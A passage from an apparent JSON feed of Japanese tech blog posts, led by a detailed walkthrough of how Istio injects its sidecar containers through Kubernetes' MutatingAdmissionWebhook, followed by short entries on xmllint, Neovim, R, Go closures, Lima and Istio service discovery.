まで飛ばしてください\uD83D\uDE47\uD83C\uDFFB‍kube-apiserverでは、admission-controllersアドオンを有効化できます。有効化すると、認証ステップと認可ステップの後にmutating-admissionステップとvalidating-admissionステップを実行でき、admissionプラグインの種類に応じた処理を挿入できます。クライアント (kubectlクライアント、Kubernetesリソース) からのリクエスト (例:Kubernetesリソースに対する作成/更新/削除、kube-apiserverからのプロキシへの転送) 時に、各ステップでadmissionプラグインによる処理 (例:アドオンビルトイン処理、独自処理) を発火させられます。Admission Controllers Reference | KubernetesKubernetes Best Practices: Blueprints for Building Successful Applications on Kubernetesadmissionプラグインの種類admission-controllersアドオンのadmissionプラグインには、たくさんの種類があります。IstioがPod内にサイドカーをインジェクションする時に使用しているアドオンは、『MutatingAdmissionWebhook』です。CertificateApprovalCertificateSigningCertificateSubjectRestrictionDefaultIngressClassDefaultStorageClassDefaultTolerationSecondsLimitRanger\\"MutatingAdmissionWebhook\\" \uD83D\uDC48 これNamespaceLifecyclePersistentVolumeClaimResizePodSecurityPriorityResourceQuotaRuntimeClassServiceAccountStorageObjectInUseProtectionTaintNodesByConditionValidatingAdmissionWebhookAdmission Controllers Reference | KubernetesMutatingAdmissionWebhookプラグインMutatingAdmissionWebhookプラグインとはMutatingAdmissionWebhookプラグインを使用すると、mutating-admissionステップ時に、リクエスト内容を変更する処理をフックできます。フックする具体的な処理として、webhookサーバーにAdmissionRequestリクエストとして送信することにより、レスポンスのAdmissionResponseに応じてリクエスト内容を動的に変更します。MutatingWebhookConfigurationで、MutatingAdmissionWebhookプラグインの発火条件やwebhookサーバーの宛先情報を設定します。MutatingWebhookConfigurationの具体的な実装については、サイドカーインジェクションの仕組みの中で説明していきます。Diving into Kubernetes MutatingAdmissionWebhook | by Morven Cao | IBM Cloud | MediumKubernetes Admission Webhook覚書き - gashirar\'s blogAdmission Webhookを作って遊んで、その仕組みを理解しよう(説明編)AdmissionReview、AdmissionRequest、AdmissionResponse▼ AdmissionReviewAdmissionReviewは以下のようなJSONであり、kube-apiserverとwebhookサーバーの間でAdmissionRequestとAdmissionResponseを運びます。{ \\"apiVersion\\": \\"admission.k8s.io/v1\\", \\"kind\\": \\"AdmissionReview\\", # AdmissionRequest \\"request\\": {}, # AdmissionResponse \\"response\\": {},}v1 package - k8s.io/api/admission/v1 - Go Packages▼ AdmissionRequestAdmissionRequestは以下のようなJSONです。kube-apiserverがクライアントから受信した操作内容が持つことがわかります。例で挙げたAdmissionRequestでは、クライアントがDeploymentをCREATE操作するリクエストをkube-apiserverに送信したことがわかります。{ \\"apiVersion\\": \\"admission.k8s.io/v1\\", \\"kind\\": \\"AdmissionReview\\", # AdmissionRequest \\"request\\": { ... # 変更されるKubernetesリソースの種類を表す。 \\"resource\\": { \\"group\\": \\"apps\\", \\"version\\": \\"v1\\", \\"resource\\": \\"deployments\\" }, # kube-apiserverの操作の種類を表す。 \\"operation\\": \\"CREATE\\", ... }}Dynamic Admission Control | Kubernetes▼ AdmissionResponse一方でAdmissionResponseは、例えば以下のようなJSONです。AdmissionResponseは、マニフェスト変更処理をpatchキーの値に持ち、これはbase64方式でエンコードされています。{ \\"apiVersion\\": \\"admission.k8s.io/v1\\", \\"kind\\": \\"AdmissionReview\\", # AdmissionResponse \\"response\\": { \\"uid\\": \\"\\", # 宛先のwebhookサーバーが受信したか否かを表す。 \\"allowed\\": true, # PathによるPatch処理を行う。 \\"patchType\\": \\"JSONPatch\\", # Patch処理の対象となるKubernetesリソースと処理内容を表す。base64方式でエンコードされている。 \\"patch\\": \\"W3sib3AiOiAiYWRkIiwgInBhdGgiOiAiL3NwZWMvcmVwbGljYXMiLCAidmFsdWUiOiAzfV0=\\", },}エンコード値をデコードしてみると、例えば以下のようなpatch処理が定義されています。# patchキーをbase64方式でデコードした場合[{\\"op\\": \\"add\\", \\"path\\": \\"/spec/replicas\\", \\"value\\": 3}]マニフェストに対する操作 (op) 、キー (path) 、値 (value) が設定されています。kube-apiserverがこれを受信すると、指定されたキー (.spec.replicas) に値 (3) に追加します。Dynamic Admission Control | Kubernetes04. サイドカーインジェクションの仕組み全体のフロー前提知識を踏まえた上で、admission-controllersアドオンの仕組みの中で、サイドカーのistio-proxyコンテナがどのようにPodにインジェクションされるのかを見ていきましょう。最初に、サイドカーインジェクションのフローは以下の通りになっています。(画像はタブ開き閲覧を推奨)Istio in Action (English Edition)クライアント ➡︎ kube-apiserverここで説明するフロー箇所『クライアント ➡︎ kube-apiserver』の箇所を説明します。(画像はタブ開き閲覧を推奨)(1) Podの作成をリクエストまずは、クライアントがkube-apiserverにリクエストを送信するところです。クライアント (Deployment、DaemonSet、StatefulSet、を含む) は、Podの作成リクエストをkube-apiserverに送信します。この時のリクエスト内容は、以下の通りとします。# Podを作成する。$ kubectl apply -f foo-pod.yaml# foo-pod.yamlファイルapiVersion: v1kind: Podmetadata: name: foo-pod namespace: foo-namespacespec: containers: - name: foo image: foo:1.0.0 ports: - containerPort: 80またNamespaceでは、あらかじめistio-proxyコンテナのインジェクションが有効化されているとします。Istioではv1.10以降、リビジョンの番号のエイリアスを使用して、istio-proxyコンテナのインジェクションを有効化するようになりました。apiVersion: v1kind: Namespacemetadata: name: foo-namespace labels: # istio-proxyコンテナのインジェクションを有効化する。 # エイリアスは自由 istio.io/rev: <エイリアス>Istio / Announcing Support for 1.8 to 1.10 Direct Upgrades▶ istio.io/revラベル値のエイリアスについてistio.io/revラベル値は、どんなエイリアスでもよいです。よくあるエイリアスとしてdefaultやstableを使用します\uD83D\uDC4Dkube-apiserver ➡︎ Serviceここで説明するフロー箇所『kube-apiserver ➡︎ Service』の箇所を説明します。(画像はタブ開き閲覧を推奨)(2) 認証/認可処理をコールkube-apiserverは、認証ステップと認可ステップにて、クライアントからのリクエストを許可します。(3) アドオンの処理をコールkube-apiserverは、mutating-admissionステップにて、MutatingAdmissionWebhookプラグインの処理をコールします。前提知識の部分で具体的な実装を省略しましたが、Istioのバージョン1.14.3時点で、MutatingWebhookConfigurationは以下のようになっています。Namespaceでサイドカーインジェクションを有効化する時に使用したエイリアスは、このMutatingWebhookConfigurationで実体のリビジョン番号と紐づいています。$ kubectl get mutatingwebhookconfiguration istio-revision-tag-default -o yamlapiVersion: admissionregistration.k8s.io/v1beta1kind: MutatingWebhookConfigurationmetadata: name: istio-revision-tag-default labels: app: sidecar-injector # エイリアスの実体 istio.io/rev: <リビジョン番号> # リビジョン番号のエイリアス istio.io/tag: <エイリアス>webhooks: - name: rev.namespace.sidecar-injector.istio.io # MutatingAdmissionWebhookプラグインの処理の発火条件を登録する。 rules: - apiGroups: [\\"\\"] apiVersions: [\\"v1\\"] operations: [\\"CREATE\\"] resources: [\\"pods\\"] scope: \\"*\\" # Webhookの前段にあるServiceの情報を登録する。 clientConfig: service: name: istiod-<リビジョン番号> namespace: istio-system path: \\"/inject\\" # エンドポイント port: 443 caBundle: Ci0tLS0tQk ... # Namespace単位のサイドカーインジェクション # 特定のNamespaceでMutatingAdmissionWebhookプラグインの処理を発火させる。 namespaceSelector: matchExpressions: - key: istio.io/rev operator: DoesNotExist - key: istio-injection operator: DoesNotExist # Pod単位のサイドカーインジェクション # 特定のオブジェクトでMutatingAdmissionWebhookプラグインの処理を発火させる。 objectSelector: matchExpressions: - key: sidecar.istio.io/inject operator: NotIn values: - \\"false\\" - key: istio.io/rev operator: In values: - <エイリアス> ...MutatingWebhookConfigurationには、MutatingAdmissionWebhookプラグインの発火条件やwebhookサーバーの宛先情報を定義します。MutatingAdmissionWebhookプラグインの発火条件に関して、例えばIstioでは、 NamespaceやPod.metadata.labelsキーに応じてサイドカーインジェクションの有効化/無効化を切り替えることができ、これをMutatingAdmissionWebhookプラグインで制御しています。webhookサーバーの宛先情報に関して、Istioではwebhookサーバーの前段にServiceを配置しています。MutatingAdmissionWebhookプラグインが発火した場合、Serviceの/inject:443にHTTPSプロトコルのリクエストを送信するようになっています。また、宛先のServiceの名前がistiod-<リビジョン番号>となっていることからもわかるように、Serviceは特定のバージョンのIstiodコントロールプレーンに対応しており、想定外のバージョンのIstiodコントロールプレーンを指定しないように制御しています。一方で発火しなかった場合には、以降のAdmissionReviewの処理には進みません。(4) AdmissionRequestに値を詰めるkube-apiserverは、mutating-admissionステップにて、クライアントからのリクエスト内容 (Podの作成リクエスト) をAdmissionReveiew構造体のAdmissionRequestに詰めます。{ \\"apiVersion\\": \\"admission.k8s.io/v1\\", \\"kind\\": \\"AdmissionReview\\", # AdmissionRequest \\"request\\": { ... # 変更されるKubernetesリソースの種類を表す。 \\"resource\\": { \\"group\\": \\"core\\", \\"version\\": \\"v1\\", \\"resource\\": \\"pods\\" }, # kube-apiserverの操作の種類を表す。 \\"operation\\": \\"CREATE\\", ... }}(5) AdmissionReviewを送信kube-apiserverは、mutating-admissionステップにて、Serviceの/inject:443にAdmissionReview構造体を送信します。Service ➡︎ webhookサーバーここで説明するフロー箇所『Service ➡︎ webhookサーバー』の箇所を説明します。(画像はタブ開き閲覧を推奨)(6) 15017番ポートにポートフォワーディングServiceは、/inject:443でリクエストを受信し、discoveryコンテナの15017番ポートにポートフォワーディングします。Istioのバージョン1.14.3時点で、Serviceは以下のようになっています。$ kubectl get svc istiod-service -n istio-system -o yamlapiVersion: v1kind: Servicemetadata: labels: app: istiod name: istiod-<リビジョン番号> namespace: istio-systemspec: type: ClusterIP selector: app: istiod istio.io/rev: <リビジョン番号> ports: - name: grpc-xds port: 15010 protocol: TCP targetPort: 15010 - name: https-dns port: 15012 protocol: TCP targetPort: 15012 # webhookサーバーにポートフォワーディングする。 - name: https-webhook port: 443 protocol: TCP targetPort: 15017 - name: http-monitoring port: 15014 protocol: TCP targetPort: 15014.spec.selector.istio.io/revキーに、ポートフォワーディング先のPodを指定するためのリビジョン番号が設定されており、このPodはdiscoveryコンテナを持ちます。Istioは、discoveryコンテナ内でwebhookサーバーを実行し、15017番ポートでリクエストを待ち受けます。▶ istio.io/rev`discovery`コンテナの待ち受けポートについてdiscoveryコンテナがリクエストを待ち受けているポート番号を見てみると、15017番ポートでリッスンしていることを確認できます\uD83D\uDC4D$ kubectl exec foo-istiod -n istio-system -- netstat -tulpnActive Internet connections (only servers)Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program nametcp 0 0 127.0.0.1:9876 0.0.0.0:* LISTEN 1/pilot-discoverytcp6 0 0 :::15017 :::* LISTEN 1/pilot-discoverytcp6 0 0 :::8080 :::* LISTEN 1/pilot-discoverytcp6 0 0 :::15010 :::* LISTEN 1/pilot-discoverytcp6 0 0 :::15012 :::* LISTEN 1/pilot-discoverytcp6 0 0 :::15014 :::* LISTEN 1/pilot-discovery> - istio/pkg/kube/inject/webhook.go at 1.14.3 \xb7 istio/istio \xb7 GitHub> - https://istio.io/latest/docs/ops/deployment/requirements/#ports-used-by-istiokube-apiserver ⬅︎ Service ⬅︎ webhookサーバー (※逆向きの矢印)ここで説明するフロー箇所『kube-apiserver ⬅︎ Service ⬅︎ webhookサーバー』の箇所を説明します。矢印が逆向きなことに注意してください。(画像はタブ開き閲覧を推奨)(7) patch処理を定義仕組みの中でも、ここは重要な部分です。discoveryコンテナ内のwebhookサーバーは、リクエスト内容を書き換えるためのpatch処理を定義します。webhookサーバーは、マニフェストの.spec.containers[1]パスにistio-proxyキーを追加させるようなpatch処理を定義します。この定義によって、結果的にサイドカーのインジェクションが起こるということになります。[ ... { \\"op\\": \\"add\\", # .spec.initContainers[1] を指定する。 \\"path\\": \\"/spec/initContainers/1\\", # マニフェストに追加される構造を表す。 \\"value\\": { \\"name\\": \\"istio-init\\", \\"resources\\": { ... } } }, { \\"op\\": \\"add\\", # .spec.containers[1] を指定する。 \\"path\\": \\"/spec/containers/1\\", # マニフェストに追加される構造を表す。 \\"value\\": { \\"name\\": \\"istio-proxy\\", \\"resources\\": { ... } } } ...]istio/pkg/kube/inject/webhook.go at 1.14.3 \xb7 istio/istio \xb7 GitHubistio/pkg/kube/inject/webhook_test.go at 1.14.3 \xb7 istio/istio \xb7 GitHubこの時、サイドカーのテンプレートに割り当てられた値が、patch処理を内容を決めます。type SidecarTemplateData struct { TypeMeta metav1.TypeMeta DeploymentMeta metav1.ObjectMeta ObjectMeta metav1.ObjectMeta Spec corev1.PodSpec ProxyConfig *meshconfig.ProxyConfig MeshConfig *meshconfig.MeshConfig Values map[string]interface{} Revision string EstimatedConcurrency int ProxyImage string}...istio/pkg/kube/inject/inject.go at 1.14.3 \xb7 istio/istio \xb7 GitHub▶ patch処理でインジェクションするコンテナについてistio-proxyコンテナの他に、InitContainerのistio-initコンテナもインジェクション可能にします。このistio-initコンテナは、istio-proxyコンテナを持つPodです。インバウンド/アウトバウンド通信の経路を制御するために、Pod内にiptablesのルールを適用する責務を担っています\uD83D\uDCAA\uD83C\uDFFBIstio Sidecar\'s interception mechanism for traffic - SoByte(8) AdmissionResponseに値を詰めるdiscoveryコンテナ内のwebhookサーバーは、patch処理の定義をAdmissionReveiew構造体のAdmissionResponseに詰めます。patchキーの値に、先ほどのpatch処理の定義をbase64方式でエンコードした文字列が割り当てられています。{ \\"apiVersion\\": \\"admission.k8s.io/v1\\", \\"kind\\": \\"AdmissionReview\\", # AdmissionResponse \\"response\\": { \\"uid\\": \\"*****\\", \\"allowed\\": true, \\"patchType\\": \\"JSONPatch\\", # Patch処理の対象となるKubernetesリソースと処理内容を表す。base64方式でエンコードされている。 \\"patch\\": \\"<先ほどのpatch処理の定義をbase64方式でエンコードした文字列>\\", },}istio/pkg/kube/inject/webhook.go at 1.14.3 \xb7 istio/istio \xb7 GitHub(9) AdmissionReviewを返信discoveryコンテナ内のwebhookサーバーは、AdmissionReview構造体をレスポンスとしてkube-apiserverに返信します。kube-apiserver ➡︎ etcdここで説明するフロー箇所『kube-apiserver ➡︎ etcd』の箇所を説明します。(画像はタブ開き閲覧を推奨)(10) patch処理をコールkube-apiserverは、AdmissionReview構造体を受信し、AdmissionResponseに応じてリクエスト内容を書き換えます。patch処理の定義をAdmissionReview構造体から取り出し、クライアントからのリクエスト内容を書き換えます。具体的には、istio-proxyコンテナとistio-initコンテナを作成するために、リクエストしたマニフェストの該当箇所にキーを追加します。apiVersion: v1kind: Podmetadata: name: foo-pod namespace: foo-namespacespec: containers: - name: foo image: foo:1.0.0 ports: - containerPort: 80 # kube-apiserverが追加 - name: istio-proxy ... # kube-apiserverが追加 initContainers: - name: istio-init ...(11) マニフェストを永続化kube-apiserverは、etcdにPodのマニフェストを永続化します。クライアント ⬅︎ kube-apiserverここで説明するフロー箇所『クライアント ⬅︎ kube-apiserver』の箇所を説明します。(画像はタブ開き閲覧を推奨)(12) コール完了を返信kube-apiserverは、クライアントにレスポンスを受信します。$ kubectl apply -f foo-pod.yaml# kube-apiserverからレスポンスが返ってくるpod \\"foo-pod\\" created以降の仕組み(画像はタブ開き閲覧を推奨)kube-apiserverは、他のNodeコンポーネント (kube-controlleretcd、kube-scheduler、kubeletなど) と通信し、Podを作成します。このPodのマニフェストは、アプリコンテナの他に、istio-proxyコンテナとistio-initコンテナを持ちます。結果として、サイドカーコンテナのistio-proxyコンテナをインジェクションしたことになります。▶ kube-apiserverと他コンポーネントの通信についてKubernetes Master Components: Etcd, API Server, Controller Manager, and Scheduler | by Jorge Acetozi | jorgeacetozi | Medium05. おわりにサービスメッシュの登場とIstioのサイドカーインジェクションの仕組みをもりもり布教しました。Istioへの愛が溢れてしまいました。今回登場したMutatingAdmissionWebhookプラグインに関して、私の関わっているプロダクトではIstio以外 (例:CertManager、Prometheus、AWSのaws-eks-vpc-cniアドオンなど) でも使用しています✌️そのため、MutatingAdmissionWebhookプラグインをどのように使っているのかを一度知れば、知識の汎用性が高いと考えています。サイドカーインジェクションはIstioでも基本的な機能であり、もし未体験の方がいらっしゃれば、お手元でサイドカーコンテナが追加されることを確認していただくとよいかもしれません\uD83D\uDC4D記事関連のおすすめ書籍Istio in Action (English Edition)作者:Posta, Christian E.,Maloku, RinorManningAmazonIstio: Up and Running: Using a Service Mesh to Connect, Secure, Control, and Observe作者:Calcote, Lee,Butcher, ZackO\'ReillyAmazon","isoDate":"2023-01-14T13:38:15.000Z","dateMiliSeconds":1673703495000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"xmllint で HTML 内の任意の値を取り出す","link":"https://blog.1q77.com/2023/01/xmllint-html-xpath/","contentSnippet":"サクッと shell script で HTML の中の何かを取り出したい時があります。 そんな時に使えるのが xmllint. しっかりやるなら python の Beautiful Soup を使ったりしますが、本当に簡単なことを簡","isoDate":"2023-01-12T14:40:51.000Z","dateMiliSeconds":1673534451000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"chezmoiを使って管理しているdotfileのファイルタイプをNeovimにうまく認識させる","link":"https://blog.atusy.net/2023/01/11/neovim-filetype-matching-with-chezmoi/","contentSnippet":"Neovimはファイルの名前や内容を元に、ファイルタイプを決定する機能を持っています。たとえば、拡張子が.shだったらシェルスクリプトだと判断できます。","isoDate":"2023-01-11T00:00:00.000Z","dateMiliSeconds":1673395200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"tidymodelsでOne-hot Encodingする","link":"https://blog.atusy.net/2023/01/06/tidymodels-one-hot-encoding/","contentSnippet":"きぬいとさんがtidyverseでOne-hot Encodingしているのを見ましたが、餅は餅屋でtidymodelsもいいよねという話。RでOne-hot Encodingをする with tidyverse","isoDate":"2023-01-06T00:00:00.000Z","dateMiliSeconds":1672963200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ぼちぼちブログでもはじめます","link":"https://moz-security.hatenablog.com/entry/2023/01/04/111143","contentSnippet":"もう新年始まって気づいたら4日目ですが、明けましておめでとうございます。アウトプットの場として2023年になり、気持ちを新たにして、なにか新しいことを始めようと思ったときに、前々からいつかやろうと思っていたブログを書くことに決めました。(いつかやろうを今やることは大事だと思う。)ここらへんで、一応、自己紹介しておきたいと思います。私は、現在、大学で情報理工学を学んでいて、ネットワークやセキュリティに興味を持っています。今までやってきたこととしては、B2のときに基本情報技術者試験、B3のときに応用情報技術者試験に合格し、他には、セキュリティ・ミニキャンプ オンライン・東京 に参加したり、Hack The Boxを少しずつやってきました。(秋学期になってからHTBはほとんど触れていないが…)他にも、いろんな勉強会にも参加してきました。今はオンラインで気軽に参加できるので。ブログを書こうかなと考えた理由は大きく3つありまして。1つ目は、セキュリティ・ミニキャンプのグループ活動でLT大会をしたときに、やっぱりアウトプットの場というのがあることで、より知識の定着につながることが実感できたからです。大学生になってからは、インプットがメインになっていてアウトプットの場がなかなかないため、どうアウトプットするのかというのは考える必要がありました。Twitterでもアウトプットはできるし、実際にそれを使っていましたが、文字数に制限があるため、正しく文章を書くには向いていません。(気楽にツイートできることがTwitterの良さではあるのですが。)2つ目は、自分の言語化能力の向上のためです。自分の頭には考えがあるのに、それをうまく伝えられなかったり、わかりにくい説明になっていたりしていたため、どうすればわかりやすく説明できるのかというのは前からの悩みでした。そこでいろいろ考えたときに自分の頭にあることを言語化するというのは、結構慣れの要素が大きいと思うため、経験を積むことが大事だという結論にいたり、それならば、早く始めた方がいいというのが、ブログを書くきっかけにもなっています。3つ目は、エンジニアになるなら、自分の技術力(今までどんなことをやってきたのか、私はどんなことができるのか)を証明するためにも技術ブログは書いておくといいということを聞くことが多いからです。今は、いきなり技術ブログを書くのは敷居が高いため、気楽に書けるこのHatena Blogでしか記事を書いていませんが、今年中には、QitaやZennの方に、技術系の記事を投稿していきたいと思っています。ブログを書く前に、Hatena Blogを使うかも結構迷っていて、自分で個人ブログサイトを作ろうかとも思ったのですが、そこに時間をかける前にさっさとブログを書き始めようということで、こちらを選択しました。そのため、今年中には、個人のブログサイトを作ってそちらに移行したいと思っています。(願望)このHatena Blogでは、月に1回は投稿していく予定です。内容としては、その月にやってきたこととか新たな発見があったこと、自分の書きたいことを勝手に発信していく感じで。ここであらかじめ宣言しておくことで、自分を追い込んでいくスタイル。(笑)技術的な話は、QiitaやZennの方に書くかもしれませんが、もしかしたら、こっちで書くかもしれません。全然考えていないため、そこら辺はこれから考えていきたいと思います。とりあえず、人生初めてのブログは、こんな感じで終わりたいと思います。近々、新年の抱負として、今年やりたいことを書きたいと思っています。","isoDate":"2023-01-04T02:11:43.000Z","dateMiliSeconds":1672798303000,"authorName":"Kobayashi Shun","authorId":"moz-sec"},{"title":"Lima の vmType VZ と virtiofs を試す","link":"https://blog.1q77.com/2022/12/lima-vz/","contentSnippet":"Lima が version 0.14.0 で QEMU だけではなく macOS の Virtualization.Framework に対応していました。 vmtype という設定項目が増えています。 この新しい Framework では Host のディレクトリをマウントするのに virtiofs が使え","isoDate":"2022-12-29T15:49:47.000Z","dateMiliSeconds":1672328987000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"クロージャーのメモリ割り当てについて(Go言語)","link":"https://kechigon.hatenablog.com/entry/2022/12/29/203946","contentSnippet":"A Tour of GoでGo言語に入門していて、クロージャーのメモリ割り当てについて疑問に思ったので調べた。クロージャーとはA Tour of Go での説明をまとめると、本体の外部から変数を参照する関数値関数は、参照した変数にアクセスして割り当てることができるという特徴がある。サンプルコードpackage mainimport \\"fmt\\"func adder() func() int { sum := 0 return func() int { sum++ return sum }}func main() { f := adder() for i := 0; i < 10; i++ { fmt.Println(f()) }}出力12345678910adder 関数はクロージャーを返し、各クロージャーは、sum 変数にバインドされている。疑問点サンプルコードではクロージャーが、adder関数で定義されたsum変数を参照、割り当てしてる。しかし、関数呼び出しといえばスタックフレームを用いるイメージしかない私にとっては、sum変数の参照がどこに残っているのか疑問。おそらくヒープ領域に割り当てられてる?GitHub issue でのやり取り調べたところ、同じ疑問に答えているissueを見つけた。質問者は、同じような処理をクロージャーを使用する場合と使用しない場合で試している。そして、クロージャーを使用した場合だとヒープ領域への割り当てが行われると言っている。実際のコードpackage mainimport ( \\"fmt\\" \\"sync\\" \\"testing\\")type Object struct {}var p sync.Pool = sync.Pool{ New: func() interface{} { return &Object{} },}type Func struct { ctx interface{}}func (this *Func) Run() { p.Put(this.ctx) }func RunWithFunc() Func { ctx := p.Get() return Func{ctx: ctx}}func RunWithClosure() func() { ctx := p.Get() return func() { p.Put(ctx) }}func Test1() { cleanup := RunWithFunc() cleanup.Run()}func Test2() { cleanup := RunWithClosure() cleanup()}func main() { f1 := testing.AllocsPerRun(1000, Test1) f2 := testing.AllocsPerRun(1000, Test2) // 0 fmt.Println(f1) // 1 fmt.Println(f2)}コードの詳しい内容は、クロージャーを使わないRunWithFuncと使用するRunWithClosureを実行する。どちらも大雑把に言うと、空の構造体をsync.Poolから取り出したり戻したりする。クロージャーを使うとヒープ領域への割り当てが行われることをtesting.AllocsPerRunが示す。といった感じ。回答者は以下のように言っている。問題は、RunWithClosure がクロージャーを返す必要があることです。関数が実行される前にスタック フレームがなくなるため、スタックに割り当てることができません。 可能な場合は、スタックにクロージャーを割り当てます。スタック上にクロージャ(これらの2つのフィールドの匿名構造体)を割り当て、呼び出された関数にそれらへのポインタを渡すことができますし、実際に行っています。ここでの問題は、その構造体がRunWithClosureの内部で割り当てられ、RunWithClosureのフレームは、cleanupを呼び出すまでになくなってしまうことです。そのため、RunWithClosureのフレームでクロージャを割り当てることはできません。それは、ヒープ上に割り当てられなければなりません。もし、RunWithClosureをその呼び出し元にインライン化すれば、そのスタック・フレームが十分に長く生きるので、呼び出し元でクロージャを割り当てることができるようになります。クロージャーが実行される前に、参照先をもつスタックフレームがなくなってしまう場合、それをヒープ領域に割り当てるらしい。またそれを避けたい場合は、関数になっている部分をインライン化するといいらしい。まとめGo言語に入門していて、クロージャーが参照している変数がどこに残っているか疑問に思ったが、GitHub issueのやり取りから、予想した通り、ヒープ領域への割り当てが行われていることがわかった。","isoDate":"2022-12-29T11:39:46.000Z","dateMiliSeconds":1672313986000,"authorName":"Kurita Keigo","authorId":"kurita"},{"title":"rbspy で ruby の stacktrace を flamegraph にする","link":"https://blog.1q77.com/2022/12/rbspy/","contentSnippet":"中身をよく知らない Rails アプリでどこが遅いのかな?と思って rbspy (github) を試してみたのでメモ。 とりあえず使って flamegraph を書き出してみたんだけどそもそも flamegraph がどうい","isoDate":"2022-12-28T11:26:10.000Z","dateMiliSeconds":1672226770000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"Professional Cloud Security Engineer の振り返り","link":"https://qiita.com/dirtymosschan/items/2c66eec7919220a4ec06","contentSnippet":"はじめに2022/12/28 に Google Cloud Certification の1つである、Professional Cloud Security Engineer に合格したので、そち…","isoDate":"2022-12-28T08:57:17.000Z","dateMiliSeconds":1672217837000,"authorName":"Yu Kaneko","authorId":"mos914"},{"title":"rticlesパッケージで作成する文書の参考文献の位置を変える","link":"https://blog.atusy.net/2022/12/28/rticles-reference-location/","contentSnippet":"R Markdownの参考文献は通常では文書末尾に挿入されます。しかし、多くの場合は挿入場所を、以下の呪文を唱えた場所に変更できます。::: {#refs}:::これは、R Markdownの拡張元となっているMarkdown方言(Pandoc’s Markdown)の機能です。","isoDate":"2022-12-28T00:00:00.000Z","dateMiliSeconds":1672185600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"go.mod の更新","link":"https://blog.1q77.com/2022/12/updage-go-mod/","contentSnippet":"たまに使い捨ての code を書いて放置する程度だと毎回ググってしまうのでメモ。 go.mod の更新は go get や go mod tidy で行うことができる。 go の version を更新 go.mod 内の go の version は次","isoDate":"2022-12-27T03:52:31.000Z","dateMiliSeconds":1672113151000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"rstudioapi::registerChunkCallbackが面白い","link":"https://blog.atusy.net/2022/12/26/rstudioapi-registerchunkcallback/","contentSnippet":"rstudioapiパッケージにはRStudioを操作する様々な関数があります。registerChunkCallbackという関数が面白かったのでちょっと実験しました。","isoDate":"2022-12-26T00:00:00.000Z","dateMiliSeconds":1672012800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"【Istio⛵️】Istioのサービス間通信を実現するサービスディスカバリーの仕組み","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2022/12/25/060000","contentSnippet":"この記事から得られる知識この記事を読むと、以下を \\"完全に理解\\" できます✌️サービスディスカバリーの種類についてIstioのサービス間通信を実現するサービスディスカバリーの仕組みについて記事のざっくりした内容は、以下のスライドからキャッチアップできちゃいます! この記事から得られる知識01. はじめに02. サービスディスカバリーについてマイクロサービスアーキテクチャにおけるサービスディスカバリーサービスディスカバリーとはなぜサービスディスカバリーが必要なのかサービスディスカバリーの要素サービスディスカバリーのパターンサービスディスカバリーのパターンとはサーバーサイドパターンクライアントサイドパターン03. Istioのサービスディスカバリーの仕組み全体像(1) kube-apiserverによる宛先情報保管(2) discoveryコンテナによる宛先情報保管(3) istio-proxyコンテナによる宛先情報取得(4) istio-proxyコンテナによるリクエスト受信(5) istio-proxyコンテナによるロードバランシングdiscoveryコンテナの仕組み(1) kube-apiserverによる宛先情報保管(2) discoveryコンテナによる宛先情報保管(3) istio-proxyコンテナによる宛先情報取得istio-proxyコンテナの仕組み(1) kube-apiserverによる宛先情報保管(2) discoveryコンテナによる宛先情報保管(3) istio-proxyコンテナによる宛先情報取得(4) istio-proxyコンテナによるリクエスト受信(5) istio-proxyコンテナによるリクエスト受信04. istio-proxyコンテナ内のEnvoyの仕組み全体像(1) 送信元マイクロサービスからリクエスト受信(2) Envoyによるリスナー選択(3) Envoyによるルート選択(4) Envoyによるクラスター選択(5) Envoyによるエンドポイント選択(6) 宛先マイクロサービスへのリクエスト送信EnvoyがADS-APIから取得した宛先情報を見てみようconfig_dumpエンドポイントリスナー▼ 確認方法▼ 結果ルート▼ 確認方法▼ 結果クラスター▼ 確認方法▼ 結果エンドポイント▼ 確認方法▼ 結果Envoyの処理の流れのまとめ(1) 送信元マイクロサービスからリクエスト受信(2) Envoyによるリスナー選択(3) Envoyによるルート選択(4) Envoyによるクラスター選択(5) Envoyによるクラスター選択(6) 宛先マイクロサービスへのリクエスト送信05. おわりに謝辞記事関連のおすすめ書籍01. はじめに推し (Istio) が尊い\uD83D\uDE4F\uD83D\uDE4F\uD83D\uDE4F3-shake Advent Calender 2022 最終日の記事です\uD83C\uDF85普段、私は 俺の技術ノート に知見を記録しており、はてなブログはデビュー戦となります。最近の業務で、オンプレとAWS上のIstio⛵️をひたすら子守りしています。今回は、子守りの前提知識の復習もかねて、Istioのサービス間通信を実現するサービスディスカバリーの仕組みを記事で解説しました。Istioの機能の1つであるサービスディスカバリーは、その仕組みの多くをEnvoyに頼っているため、合わせてEnvoyの仕組みも説明します。それでは、もりもり布教していきます\uD83D\uDE1702. サービスディスカバリーについてマイクロサービスアーキテクチャにおけるサービスディスカバリーサービスディスカバリーとは平易な言葉で言い換えると サービス間通信 です。マイクロサービスアーキテクチャでは、マイクロサービスからマイクロサービスにリクエストを送信する場面があります。サービスディスカバリーとは、宛先マイクロサービスの宛先情報 (例:IPアドレス、完全修飾ドメイン名など) を検出し、送信元マイクロサービスが宛先マイクロサービスにリクエストを継続的に送信可能にする仕組みのことです。なぜサービスディスカバリーが必要なのかそもそも、なぜサービスディスカバリーが必要なのでしょうか。マイクロサービスアーキテクチャでは、システムの信頼性 (定められた条件下で定められた期間にわたり、障害を発生させることなく実行する程度) を担保するために、マイクロサービスのインスタンスの自動スケーリングを採用します。この時、自動スケーリングのスケールアウトでマイクロサービスが増加するたびに、各インスタンスには新しい宛先情報が割り当てられてしまいます。また、マイクロサービスが作り直された場合にも、宛先情報は更新されてしまいます。このように、たとえインスタンスの宛先情報が更新されたとしても、インスタンスへのリクエストに失敗しない仕組みが必要です。サービスディスカバリーの要素サービスディスカバリーの仕組みは、次の要素からなります。名前解決は、DNSベースのサービスディスカバリー (例:CoreDNS + Service + kube-proxyによるサービスディスカバリー) 